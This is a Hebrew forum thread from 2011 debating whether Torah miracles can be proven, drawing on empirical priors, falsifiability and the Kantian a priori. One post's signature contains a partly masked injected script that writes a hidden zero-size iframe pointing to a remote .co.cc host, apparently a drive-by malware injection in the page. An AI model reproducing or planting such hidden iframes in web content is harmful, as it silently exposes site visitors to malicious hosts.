| נשלח ב-27/10/2011 14:28 |
 |
| |
מגרשי המשחקים של הווכוחים
באחד האשכולות הסמוכים מתקיים דיון ער האם אפשר להוכיח את נכונותה המילולית של התורה (ובפרט ניסיה הנחשבים על-טבעיים / לא סבירים באופן קיצוני בימינו) בהנחה שהתורה נכתבה בזמן שנטען ובגרסה שלפנינו ללא שינויים מאז.
הטיעון המרכזי הולך כך. אם התורה נכתבה כנטען, אזי יש (לצורך העניין) שני הסברים:
- קבוצת אנשים שוכנעה לקבל תיעוד של אירועים שחלקם לא היה ולא נברא (או שהם מוגזמים באופן קיצוני).
-
האירועים הניסיים התרחשו.
על פי הטענה, אפשרות מס' 1 איננה סבירה באופן קיצוני. אפשרות מס' 2 איננה בלתי סבירה באופן קיצוני, מפני שהתורה מתארת את התנהגותו של בורא החוקים הפיזיקאליים שאינו כפוף להם, ולכן לא שייך לדבר על סבירות העניין.
לדעתי, כטיעון לוגי, מדובר במשהו לקוי מיסודו. עם זאת, הדיון הער (כ20 עמודים בזמן כתיבת שורות אלו) מתמקד רובו ככולו בשאלה האם 1 אכן בלתי סבירה באופן קיצוני או שמא סבירה למדי, מה מידת ההגזמה באירועים, וכו'. הטענה שמדובר בטיעון שכלל לא קם כהוכחה לוגית התקבל רובו כהתעלמות ומיעוטו בהתנגדות. לכן, חשבתי לפתוח אשכול בעניין כדי להסביר מדוע כך אני סבור, או, לחלופין, כדי להשתכנע שאין זה כך.
ראשית, מספר הגדרות קצרות.
התפלגות אמפירית היא ההתפלגות המתקבלת ע"י סדרת ניסויים. לדוגמה, אם נטיל מטבע 1000 פעם, ונקבל ראש 598 פעמים, אז ההסתברות האמפירית לראש היא 0.598. חשוב להבין שלכל תופעה פיזיקאלית צפייה יש התפלגות אמפירית, ורק צריך להבין איזו היא הרלבנטית (ומציאתה עשויה להיות קשה מאד טכנית). לדוגמה, ההסתברות האמפירית שהשמש לא תזרח עד אותו היום בו היא אכן לא תעשה זאת (ונעזוב לרגע מה ההגדרה המדוייקת לכך) היא 0, אבל במקרה זה מה שרלוונטי הוא ההתפלגות של כוכב בעל מאפיינים דומים לאלה של השמש בעל גיל דומה לשמש, או לחלופין ההתפלגות של תהליכים דומים לאלה שבשמש, וכו' וכו'.
פריור (התפלגות) היא ההתפלגות שאנו מניחים מראש שיש לתופעה. לדוגמה, כשיש לנו משקל, אנחנו יכולים לקבוע (אפילו סתם כך אם בא לנו), שהוא מראה את מה שהוא שוקל +- 1 קילו (זה נכון או לא).
פריור אמפירי הוא פריור שמשתמש בהתפלגות האמפירית. אני משתמש במושג במובן רחב מאד: משפחה של התפלגויות שקשורות להתפלגות האמפירית, אולי כאלה שתוקנו לפי חוקיות כלשהי, וכו'.
עוד מספר הגדרות קצרות, הפעם שרירותיות לגמרי. ישנם מספר "מגרשי משחקים" שבהם אפשר לטעון דברים. לכל אחד חוקים משלו:
- ישנו מגרש משחקים שבו הכללים הם שכל טענה "מרוויחה יותר נקודות" ככל שיש לה הסבר לבעיות הטבע הנצפות שהוא קצר יותר ומנבאת בצורה מדוייקת יותר תוצאות ניסויים. במקרים מסויימים אפשר לקחת שתי טענות במגרש זה (לדוגמה, אם הן מנבאות אותה תופעה, ואחת מדוייקת מהשניה) ולשאול מי "נצחה" בצורה אובייקטיווית.
- ישנו מגרש משחקים בו הכללים והיעד הם במפורש מומצאים (נניח שח-מט או מתמטיקה).
- ישנו מגרש משחקים של אמירות שרירותיות שאין להם שום יחס סדר במובן של מי עדיפה על מי: סגול הוא הצבע היפה ביותר, אדום הוא הצבע היפה ביותר, העולם נשלט על ידי גמד אדום בלתי ניתן לצפייה, העולם נשלט על ידי נמלה ענקית בלתי נתנת לצפייה, וכו'
לדעתי חשוב מאד להבין, עבור כל טענה, באיזה מגרש משחקים היא משחקת, במיוחד מפני שבמגרש משחקים אחד אפשר להשתמש בטרמינולוגיה שרווחת במגרש אחר. לדוגמה, פיזיקאים ומהנדסים משתמשים בכלים מתמטיים כדי לחקור איזה הסבר מנבא טוב יותר משהו מדיד.
כעת לליקוי. נניח שידידנו משה טוען טענה בלתי אפשרית: הוא עבר דרך קיר מוצק ללא שינוי בו או בקיר.
אפשר לשקול את האפשרויות השונות למה שהלך שם במגרש המשחקים הראשון, בו דנים אך ורק במה שיש לו פריור אמפירי. מצד אחד, יש לנו הפריור האמפירי לגבי אמינותו של משה. מצד שני, כדי שהמאורע ה"בלתי אפשרי" (ובמובן אחר לא סביר בצורה קיצונית) יקרה, על כ"א מאטומי משה היה לעבור ליד כ"א מאטומי הקיר ללא אינטראקציה (אני מתעלם מאי דיוקים). גם לכך יש פריור אמפירי. במגרש המשחקים הראשון, אפשר לשקול האם ההסבר שמשה טועה/משקר ניצח את ההסבר שמשה אכן עבר דרך קיר.
אפשר גם לשקול משהו אחר: אלהים, שחוקי הטבע אינם חלים עליו, העביר את משה דרך הקיר. זו טענה לגיטימית, אבל מי שטוען אותה עבר למגרש משחקים 3, והוא אוטומטית משחק מול טענות אחרות שאין שום קריטריון אובייקטיווי לשאול מי נצחה. נשים לב שאין לנו פריור אמפירי על התערבות אלהים במעבר דרך קירות, אין פריור אמפירי על כך שלוקי, אל הקונדס, גורם למשה להאמין בשטויות מדי פעם, ואין פריור אמפירי לטענה שמנוסחת בטרמינולוגיה מתוך מגרש 1: שחוקי הטבע עצמם אינהרנטית כוללים את העובדה שהסינפסות במוחו של משה מדי פעם פועלות בהתפלגות שונה מזו האמפירית. אין משמעות לשאלה מי סבירה יחסית למי - וותרנו כבר על קריטריון מוגדר בעניין. הניסיון להוכיח שאלהים העביר את משה דרך הקיר (בלי קשר לפריור האמפירי לכך), מתוך חקירה מדוקדקת מאד של הפריור האמפירי של אמינות משה - הוא אוולת. במגרש משחקים 3 אף טענה אינה עדיפה על טענה אחרת אובייקטיווית.
(להשלמת הנקודה ברצוני להדגיש שאין שום פריור אמפירי מחוץ לסיפורי הדת על הישויות העל טבעיות המופיעות בהן. גם לפי הטיעונים הטלאולוגיים, שהם בעצמם טיעון שמשהו ספיציפי קרה רק מתוך כך שכל ההסברים הידועים בעייתיים - נובע לכל היותר תכנון כלשהו. מעולם לא תועד אל מתערב מחוץ לסיפורי הדת.)
לסיום, מספר שאלות שהתשובות המקוריות להן ממש התמיהו אותי:
- האם הטענה שמדובר בכשל לוגי איננה בעצמה אמונה בישות שנקראת "טבע" שיש לה הכח הלא מוגבל לגרום להכל להיות כפוף לה? לא. הטענה ש"הוכחה" איננה רלוונטית במגרש משחקים 3 היא טענה לוגית לכל דבר. בנוסף, אדם רציונאלי בהחלט מסוגל להאמין בה' תחת הידיעה הברורה שהוא בחר (באותה נקודה) במשהו מתוך מגרש 3.
- האם נובע מהטענה שמדובר בכשל לוגי שאי אפשר להוכיח את קיומה של ישות על טבעית (במובן שפעולותיה לא מובנות כלל)? לא. אם הפריור האמפירי לקיום תופעות שאיננו מבינים אותן גדול מספיק יחסית לאחרים, בודאי שזה המצב. זה תיאורטית אפשרי לגבי הוכחת נכונות התורה המילולית. זה בודאי יהיה נכון אם ישות על טבעית תופיע כעת מדי לילה ותמטיר מן וכו' תחת הבדיקות המחמירות ביותר. השאלה האם מדובר בה' היא משהו אחר.
- האם בהוכחת נכונות התורה עלינו לדון באפשרויות המתעדים טעו ייחסית לה' בורא העולם ביצע ניסים? תלוי באיזה מגרש. במגרש 1 יש לשקול את ההסתברויות של האירועים שיש להם פריור אמפירי: המתעדים טעו ייחסית לים נבקע מעצמו, מזון פלאי נפל מן השמיים, וכו' וכו'. אם האפשרות השניה היא הסבירה - יסיק כ"א את המסקנות לעצמו. הכנסת תופעה שאין לה פריור אמפירי מראש כאחת מהאפשרויות אוטומטית מעבירה את הדיון למגרש 3. באותו אופן, אפשר לדון באופציה ניסים קרו יחסית לאופציה העולם נברא לפי חוקיות על פיה מדי פעם קבוצות אנשים משתכנעות בשטויות לפי שום חוקיות מדידה כלשהי.
(תודה לפרזנט, ייתכן, וקולמוגורוב על חלק מהנקודות; עם זאת, הם אינם בהכרח שותפים לטיעון כאן.)
 |
|
|
|
|
| נשלח ב-27/10/2011 17:05 |
|
| |
שיבולי,
למה דלגת על מגרש משחקים מספר 2 ?
האם היית רוצה לשחק בו ?
המשחק שלנו נקרא "תפיסת העולם".
המטרה היא בניית והצבת מערכת רוחנית/פיסיקלית אשר באמצעותה ניתן לתאר את כל תופעות העולם המוחשיות (פיסית) והמורגשות (נפשית).
המערכת נבנית ומשתכללת תוך כדי תנועה, ומוסיפה או מצמצמת חלקים ע"פ הנתונים הנאספים.
אני מכיר מערכת כזאת, שמעתי שגם הארי פוטר מכיר כזאת (אני לא מכיר אותו אבל סיפרו לי פה החברים).
נראה לי שצריך לקחת מערכת אחת כלשהיא (אני מציע את שלי, כמובן) ובכוחות משותפים לאפשר לה לגדול ולהתפשט עד שתכיל את כל מה שצריך להכיל. שוב, תוך כדי תנועה.
נשמע לך מעניין ?
|
|
|
|
| נשלח ב-27/10/2011 19:06 |
|
| |
שיבולאיו
תודה על הסיכום. לא הייתי כאן ולא עקבתי אחרי הדיון וכמדומה שהצבעת על נקודה חשובה. אנסה לנסח אותה בצורה יותר קצרה ומצד אחר. כך:
יש הסברים שנוכל לכנות "מדעיים".
יש הסברים שאינם "מדעיים" אלא לקוחים מתחום של תיאוריות שאיני יודע לתת להן שם.
הסברים מדעיים לדוגמא. מדוע תפוח נופל מהעץ כלפי מטה?
1. כוח המשיכה פועל למשוך את התפוח כלפי הגוף בעל המסה הגדולה ביותר. וזה בשכונה שלנו כדור הארץ שעליו אנו חיים. (הטענה של ניוטון).
2. העולם שבו אנו חיים, מן האדמה למטה עד לאויר למעלה, מסודר לפי שכבות שלכל אחת מקום משלה. מלמטה למעלה: אדמה, מים, אויר, אש. כל אחת קלה מחברתה. כל הדברים בעולמנו (כולל תפוחים ובני אדם) מורכבים משילובים שונים של ארבעת היסודות האלו שלכל אחד מקום משלו. כל יסוד נמשך למקומו הטבעי. התפוח מכיל הרבה יותר מיסוד האדמה. לכן הוא שואף להגיע כלפי מטה. (הטענה של אריסטו).
יש לשים לב כי אלו שתי טענות מדעיות. עד כמה שידוע לי, הטענה 2 ידועה כבלתי נכונה. הטענה 1 מוחזקת לנכונה (לא כתבתי "ידועה כנכונה" בגלל הביקורת של יום ופופר ויש להאריך במקום אחר ובזמן אחר).
לעומת זאת, הטענות הבאות אינן מדעיות.
מדוע תפוח נופל?
1. בגלל שהאלוקים (שנתן תורה לעם ישראל ומנהיג אותו בהשגחה פרטית מדור לדור) רוצה בכך.
2. בגלל שלוקי אליל התעלולים רוצה שהתפוח ייפול לניוטון על הראש.
3. בגלל שאליל התפוחים אוהב אותם למטה.
כל אלו אינן טענות מדעיות.
כמדומה שהכל יסכימו שטענות 2 ו3 אינן נכונות. אני סבור שאני יודע שהטענה הראשונה נכונה. אבל עלי להודות שהשימוש במילה "רוצה בכך" במשפט זה אינו זהה לגמרי לשימוש במילים "אני רוצה לאכול תפוח".
לאחר הקדמה זו אני יכול לגשת לביקורת של שיבולאיו. האם לא ניתן לקצר אותה לטענה (המתוחכמת למדי) הבאה:
יש טענות מדעיות ויש טענות שנקרא להן "ניסיות".
אנו בקיאים מספיק לחוש שיש לנו יכולת לקבוע סבירויות עבור טענות מדעיות.
אין לנו שום יומרה לחלק סבירויות לטענות ניסיות.
זאת באשר לחלוקה הכללית של טענות של שיבולאיו.
לגבי השאלה האם יכול היה עם לאמץ טקסט שמספר על ניסים והאם זה סביר, על זה אין לי תשובה מסודרת.
***
הערה קטנה ולא נעימה:
כמדומה ששיבולאיו מתכוון להשתמש במונח "אפריורי" שפירושו "קודם הנסיון".
דוגמאות:
1. ניוטון לא ידע אפריורי שהתפוח שנפל לו על הראש אכן יפול בדיוק ברגע זה.
2. ניוטון ידע שתפוחים נופלים על הראש. אבל הוא ידע זאת מן הנסיון הכללי שלנו בעולם.
3. הידיעה ששתיים ועוד שתים הן ארבע היא אפריורית לפי עמנואל קאנט הפילוסוף.
4. הידיעה שאני חושב אני קיים היא אפריורית.
למרות שהמילה "אפריורי" פירושה - מלטינית כמדומה - לפני הנסיון, היא מציינת בפילוסופיה תחום ידע שאינו נשען על הנסיון. שכחתי להסביר: "נסיון" הוא לא רק ניסוי במעבדה אלא כל מה שעובר עלינו וממילא אנו לומדים ממנו. החל מהרגע שבו התינוק פוקח עינים לראשונה, או אפילו תופס בפיו את החלב שמזין אותו (גם זה מלמד הרבה) ועד לכללות הידע שרוכשים בני אדם באופנים שונים בעולם. כל אלו באים "מן הנסיון".
לפי הגדרה מצמצמת זו, לא קל למצוא ידע באמת "אפריורי" לגמרי. אכן יש אסכולה בפילוסופיה של אמפריציסטים (עוד מילה קשה) שהם אלו שסבורים שהידע בא אך ורק מן הנסיון.
כל אלו הקדמות נחוצות להבנת דברי שיבולאיו. וכמדומה שיש להוסיף ולהבהיר עוד.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-27/10/2011 19:15 |
|
| |
| מיימוני כתב: |  |
לעומת זאת, הטענות הבאות אינן מדעיות.
מדוע תפוח נופל?
1. בגלל שהאלוקים (שנתן תורה לעם ישראל ומנהיג אותו בהשגחה פרטית מדור לדור) רוצה בכך.
2. בגלל שלוקי אליל התעלולים רוצה שהתפוח ייפול לניוטון על הראש.
3. בגלל שאליל התפוחים אוהב אותם למטה.
כל אלו אינן טענות מדעיות.
כמדומה שהכל יסכימו שטענות 2 ו3 אינן נכונות. אני סבור שאני יודע שהטענה הראשונה נכונה. אבל עלי להודות שהשימוש במילה "רוצה בכך" במשפט זה אינו זהה לגמרי לשימוש במילים "אני רוצה לאכול תפוח".
|
|
מה ההבדל בין שלוש הטענות???
תוקן על ידי thepresent ב- 27/10/2011 19:18:16
|
|
|
|
| נשלח ב-27/10/2011 20:06 |
|
| |
למיימוני
"למרות שהמילה "אפריורי" פירושה - מלטינית כמדומה - לפני הנסיון, היא מציינת בפילוסופיה תחום ידע שאינו נשען על הנסיון."
המילה אפריורי פרושה מראש,לפני ולא לפני הנסיון דווקא.
ולכן המילה למרות שכתבת לא ברורה מפני ש אפריורי פרושה לפני.
שיבולאיו דיבר על התפלגות אמפירית -התפלגות שמבוססת על ניסויים והתפלגות אפריורית שלא מבוססת על ניסויים אלא ידועה מראש.
למשל התפלגות הפעמון הידועה התבססה על ניסויים .
ולעניין האורך:גם אני לא הבנתי למה להאריך במקום שאפשר לקצר.
תוקן על ידי צענערענע ב- 27/10/2011 20:07:34
|
|
|
|
| נשלח ב-27/10/2011 20:07 |
|
| |
מיימוני,
אתה באמת חושב שיש הבדל בין ההנחה שיש "כח משיכה" ובין ההנחה שיש "אלקים" ?!
שניהם אינם מוכרים לנו אלא רק מכח תוצאות פעולותיהם, אז מה ההבדל ביניהם ?
כח המשיכה הוא פשוט ניסוח מתמטי של הפעולה, כאשר גם המתמטיקה היא צורת חשיבה בלבד.
בקיצור, בכל מקרה אין לנו שום מושג אמיתי למה התפוח נופל.
|
|
|
|
| נשלח ב-28/10/2011 01:48 |
|
| |
אתם באמת לא מבדילים בין סיבה לתוצאה?
|
|
|
|
| נשלח ב-28/10/2011 02:56 |
|
| |
| eli_s כתב: | | | אתם באמת לא מבדילים בין סיבה לתוצאה? |
|
מי זה 'אתם' ולמה ירמזון מיליך?
|
|
|
|
| נשלח ב-28/10/2011 05:55 |
|
| |
שיבולאיו נהניתי מאוד לקרוא את הסיכום. הדברים שכתבת והצורה בה הגדרת אותם נראים נכונים ומדוייקים מאוד.
|
|
|
|
| נשלח ב-28/10/2011 07:49 |
|
| |
| שותפיסוד כתב: | | שיבולי,
למה דלגת על מגרש משחקים מספר 2 ?
האם היית רוצה לשחק בו ?
המשחק שלנו נקרא "תפיסת העולם".
המטרה היא בניית והצבת מערכת רוחנית/פיסיקלית אשר באמצעותה ניתן לתאר את כל תופעות העולם המוחשיות (פיסית) והמורגשות (נפשית).
המערכת נבנית ומשתכללת תוך כדי תנועה, ומוסיפה או מצמצמת חלקים ע"פ הנתונים הנאספים.
אני מכיר מערכת כזאת, שמעתי שגם הארי פוטר מכיר כזאת (אני לא מכיר אותו אבל סיפרו לי פה החברים).
נראה לי שצריך לקחת מערכת אחת כלשהיא (אני מציע את שלי, כמובן) ובכוחות משותפים לאפשר לה לגדול ולהתפשט עד שתכיל את כל מה שצריך להכיל. שוב, תוך כדי תנועה.
נשמע לך מעניין ? |
|
נראה באמת שיש כאן כאלה שדי תקועים משהו כמו מאתיים שנה אחורה הם נלחמים בדוגמטיות ישנה ומשתדלים בכל הכוח לטחון את הקמח הטחון בלי כל רצון להתקדם ולו במעט והשורש כמו תמיד הוא הרי ברצון והדברים עתיקים.
ועם קצת רצון לנסות לתרגם את עצמם ולחשוב בצורה קצת יותר מעמיקה יש יכולת לקחת אחריות על החיים ולהסתכל קצת קדימה ואז "וישוב אל ה' וירחמהו ואל אלוהינו כי ירבה לסלוח"
|
|
|
|
|
| נשלח ב-28/10/2011 09:58 |
|
| |
שותף סוד
כתבת:
אתה באמת חושב שיש הבדל בין ההנחה שיש "כח משיכה" ובין ההנחה שיש "אלקים" ?!
שניהם אינם מוכרים לנו אלא רק מכח תוצאות פעולותיהם, אז מה ההבדל ביניהם ?
כח המשיכה הוא פשוט ניסוח מתמטי של הפעולה, כאשר גם המתמטיקה היא צורת חשיבה בלבד.
בקיצור, בכל מקרה אין לנו שום מושג אמיתי למה התפוח נופל.
צדקת מאד! אבל המסקנה שיוצאת מדבריך כנראה אינה זו שרצית להביא אליה.
ואבאר עבורך ועבור כל מי שירצה:
יש כאן שני נושאים
1. איך מודדים סבירויות של תיאוריות.
2. מי הן תיאוריות מדעיות ומה הם משפטים מדעיים, כלומר מועמדים לבדיקה "רצינית", ומי לא.
אניח את השאלה הראשונה בצד. איני יודע לענות עליה.
לעומת זאת, לכולנו יש יכולת להבדיל בין משפטים מדעיים למשפטים שאינם כאלו.
אולי צריך לסקור קצת את ההיסטוריה של המדע כדי לראות איך זה עובד.
אתחיל בסוף דבריך. כתבת שאיננו יודעים למה התפוח נופל. נכון מאד! המדע שלנו אינו מתעניין ב"למה" אלא ב"איך". המדע מחפש קשר, שניתן לניסוח מתמטי, בין סיבות לתוצאות. המדע אינו שואל, כמו פעם, מה הוא התפוח ומה מהותו. הפסקנו לחפש "מהויות". (הפסקנו=בני האדם והמדענים). אנו מסתפקים בפחות, בקשר הקבוע שאיננו יודעים למה הוא, וכיון שאנו מבקשים פחות אנו מקבלים יותר. את הטכנולוגיה למשל.
אנו כן עונים על השאלה "מה זה" אבל איננו חותרים להגיע ל"מהות אחרונה". אנו יודעים שהתפוח הוא תרכובת כימית ומזהים את רכיביה. אנו יודעים גם שהאטומים, שנחשבו בלתי ניתנים לחלוקה, כן מתחלקים לפרוטונים, נייטרונים, אלקטרונים ועוד (מה שכתבתי הוא בערך מה שידוע לי... זה לא כל כך חשוב. אבל הבאתי עבור הדוגמא). איננו יכולים לענות במלואה, "עד הסוף", על השאלה מה המהות של הבריאה. אבל אנו מזהים קשרים וזה מקדם אותנו המון.
משפט מדעי מצביע על קשר בין אירועים ובין האובייקטים שנוטלים בהם חלק. איננו מתיימרים לדעת מה הם האובייקטים. אנו רק מתעניינים באותו מינימום שאמנם נותן הרבה לגביהם. למשל שלתפוח יש מסה שמאפשרת לקבוע שהוא ייפול ובאיזה כיוון ובאיזו תאוצה.
האם המשפט "אלוקים ברא את העולם" הוא משפט מדעי? כידוע היטב, מיכי שלנו העלה את הטענה שכן. לא קראתי לצערי עדיין את ספרו אבל רק את תחילתו, ואני משער (יומרה של חוצפה?) שהוא יטען שההסבר של בריאה הוא מדעי מפני שהוא מספק הסבר למציאות העולם שלנו, הסבר שלא ניתן לקבל אחרת. כאשר "אלוקים" הוא יש רב כוח בעל תבונה. אבל שים לב שכיון שזה משפט מדעי, לא נוכל להגיע אל "מהותו" של אלוקים. רק אל מציאותו ועוד מינימום של מידע. למשל, כנראה, נצחיותו ואולי גם אל זמניותו.
יש לנו מילכוד. משפטים מדעיים זמינים לנו ומקדמים אותנו, אבל הם חלקיים בידע שהם מספקים. משפטי דת (אם נקרא להם כך) נותנים המון, אבל הם לא ניתנים לשיפוט בכלים מדעיים.
אני מקוה שהבהרתי את ההבדל בין
א. התפוח נפל בגלל כוח המשיכה.
לבין
ב. התפוח נפל כי זה מה שאלוקים רצה.
המשפט הראשון רק מציע ניסוח במילים לכלל שלמעשה מנוסח במונחים מתמטיים. ומאפשר ניבוי, כלומר צפיה מראש של ניסויים חוזרים.
המשפט השני עשוי להיות משפט מדעי, כשיטת מיכי, אבל אז הוא יתן מעט מדי. הוא לא יגלה לנו שאלוקים נתן תורה ומשגיח עלינו ובחר בעם היהודי.
***
אולי אפשר לחשוב על ניסוי כלשהו שיענה על הדרישה של היות-ניסוי-מדעי ועם כל זה יציע מבחן למציאות אלוקים. אם יהיה לי זמן היום, אספר על ניסוי כזה.
***
צענע
את צודקת לגבי פירוש המילה. אבל כפי שהיא משמשת בפילוסופיה, וזה שימוש חשוב ומשמעותי, היא משמשת באופן שכתבתי. כלומר לא רק "לפני" אלא "לפני היות כל נסיון אנושי" ולפי קאנט גם "מה שמתנה כל נסיון אנושי". (אנו יודעים שכל מה שנתפוס - בחושים, במחשבה, בשילוב שלהם - יהיה מדיד בכלים מתמטיים, לא יכיל סתירות, ייראה או ייתפס בידי האני שלי, ועוד. לפחות קאנט סבר כך. ואלו המשפטים האפריוריים החשובים שלו, האפריוריים סינתטיים, שגם מעניקים לכאורה או באמת ידע חשוב. יש גם משפטים אפריוריים אנליטיים, אבל הם אינם תורמים שום ידע אמיתי, רק בתחום הלשון. זה שרווק אינו נשוי ברור לפי כללי השימוש בשפה. אבל זה שיש בעולם רווקים ונשואים זה כבר נלמד מן ה"נסיון").
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-28/10/2011 10:01 |
|
| |
תיקון והודאה על האמת.
אני בעצם כן יודע איך מודדים תיאוריות מדעיות. מעלים אותן, מנסים לארגנן כך שהן יעמדו בדרישות הבאות:
1. יהיו הדירות. כלומר בנות חזרה.
2. יראו קשר בין אירועים, בין סיבה לתוצאה.
3. יספקו ניבויים. כלומר ציפיות לאירועים שיהיו בני בדיקה ומדידה.
4. יהיו ניתנות להפרכה. כלומר קיים ניסוי כזה שתוצאה אחת שלו תראה שהתיאוריה אינה נכונה (הכלל המפורסם של פופר).
5. תוצאות חיוביות של ניסוי יאששו את התיאוריה (אבל לא "יוכיחו" אותה במובן החזק של המילה, ולשם כך צריך עוד כמה שיעורים בפילוסופיה של המדע. יש ספרים טובים מאד בנושא).
המשפט "התפוח ייפול תמיד כלפי כדור הארץ" ואפילו "התפוח ייפול בגלל כוח המשיכה" הוא תיאוריה מדעית, מפני שהוא נותן ניבוי, ויש לו הפרכה. אם פעם התפוח לא ייפול נדע שצריך לשפץ את התיאוריה.
המשפט "התפוח נפל בגלל שאלוקים רצה" הוא לא מדעי. זאת מפני שאם התפוח לא ייפול, זה לא מוכיח שאין אלוקים. זה מוכיח בה במידה (ואפילו יותר, בגלל שיש לנו - או לי - העדפה לקבל את מציאות האלקים) שאלוקים כן קיים אבל רצה שהתפוח לא ייפול. לפיכך המשפט הזה אינו עומד בקריטריון הנושא את שמו של פופר. אין כאן אפשרות הפרכה.
לעומת זאת יש ניסוי מפורסם שכן היתה בו לכאורה אפשרות הפרכה. אבל זה יקח זמן להביא את הסיפור המרתק הזה. (קצת מתח והתרגשות בקהל?).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 28/10/2011 10:03:07
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-28/10/2011 10:02 |
|
| |
למיימוני
אני התייחסתי למילה "למרות"שהיתה מיותרת.
|
|
|
|
| נשלח ב-28/10/2011 14:19 |
|
| |
| מיימוני כתב: | |
המשפט "התפוח ייפול תמיד כלפי כדור הארץ" ואפילו "התפוח ייפול בגלל כוח המשיכה" הוא תיאוריה מדעית, מפני שהוא נותן ניבוי, ויש לו הפרכה. אם פעם התפוח לא ייפול נדע שצריך לשפץ את התיאוריה.
המשפט "התפוח נפל בגלל שאלוקים רצה" הוא לא מדעי. זאת מפני שאם התפוח לא ייפול, זה לא מוכיח שאין אלוקים. זה מוכיח בה במידה (ואפילו יותר, בגלל שיש לנו - או לי - העדפה לקבל את מציאות האלקים) שאלוקים כן קיים אבל רצה שהתפוח לא ייפול. לפיכך המשפט הזה אינו עומד בקריטריון הנושא את שמו של פופר. אין כאן אפשרות הפרכה. |
|
המשפט "התפוח יפול תמיד כלפי כדה"א" הוא הרחבה של תצפיות (אף אחד לא יכול לומר תמיד. זו רק השערה סבירה מאד).
המשפט "התפוח יפול בגלל כוח המשיכה" הוא חסר משמעות, כי אין שום הגדרה (או תצפית) ל"כח המשיכה" חוץ מאשר שהוא זה שגורם לתפוחים ליפול כמו שהם נופלים. אם תפוח אחד לא יפול זה רק אומר שיש כאן עוד כח אחר שמנע את נפילתו.
המשפט "התפוח נפל בגלל שאלקים רצה" גם הוא חסר משמעות, כי אין שום הגדרה (או תצפית) ל"אלקים" חוץ מאשר שהוא זה שגורם לתפוחים ליפול כמו שהם נופלים. אם תפוח אחד לא יפול זה רק אומר שיש כעת רצון של האלקים שלא יפול.
בקיצור, אין שום משפטים מדעיים או לא מדעיים. יש תצפיות ויש נסיונות שכליים לסדר אותן בתבניות. כל סידור הוא לגטימי ויכול להשתמש באיזה מונחים שימציא (אלקים, השד משחת או כח המשיכה) כל עוד הוא מסדר את התצפיות.
תקן אותי אם טעיתי.
|
|
|
|
| נשלח ב-28/10/2011 16:11 |
|
| |
שותף סוד
בדיוק כפי שכתבת!
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-29/10/2011 22:28 |
|
| |
נו, אם הסכמנו שאפשר לקחת כל מערכת הנחות ראשונית ולהתרחב ממנה על כל התצפיות, אז מה כל הטענות שלך אם אני אעשה זאת מתוך מערכת ההנחות של הקבלה דווקא ?
|
|
|
|
|
